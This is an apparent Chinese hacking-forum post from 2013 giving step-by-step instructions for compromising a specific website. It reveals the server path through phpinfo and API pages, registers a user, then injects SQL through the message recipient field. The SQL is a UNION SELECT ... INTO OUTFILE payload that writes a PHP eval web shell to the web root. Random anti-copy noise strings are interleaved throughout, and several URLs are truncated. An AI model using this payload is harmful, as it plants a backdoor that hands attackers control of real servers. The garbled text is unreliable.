第一个：想办法找到目标网站的绝对路径; p: Z7 L) @6 Y" t+ }" T
1 e% B R3 w2 ?# x3 ^ c. r, v- p5 x
http://www.political-security.com/install/svinfo.php?phpinfo=true
7 I, q8 g8 K; E: o" j: r% {9 Y/ N
y$ w% x! i3 v1 {http:/www.political-security.com/core/api/shop_api.php3 }/ Q z: U3 n( @, U5 |! k/ N
0 c+ f3 h& z% k3 g/ w
http://www.political-security.co ... api_b2b_2_0_cat.php, `& y% }7 M+ l9 L5 [6 Z* H& Y3 c
: W( p7 L* n1 l: C8 e- F2 }
http://www.political-security.com/core/ap ... b_2_0_goodstype.php' r+ d8 u9 Z& f) Z A
* S0 B3 c6 D- ^$ Zhttp://www.political-security.co ... i_b2b_2_0_brand.php" u- d6 u+ v, B4 b0 W8 O. L
第二个：注册一个普通用户
& Y7 A7 N3 A% z% k, S
7 u$ l9 V4 b* I+ P0 Dhttp://www.political-security.com/?passport-signup.html
9 O* L3 L. P1 `) Y9 B# E3 O
3 ]4 E# v6 w6 F- |, w第三个： 发送消息 ' q) V$ e8 L" Q: O1 _: `5 ^
$ C% [! C" @! W5 {/ Qhttp://www.political-security.com/?member-send.html# g8 k9 N+ }+ \% p5 L
发送给中填写
' v& h' v+ g( eantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对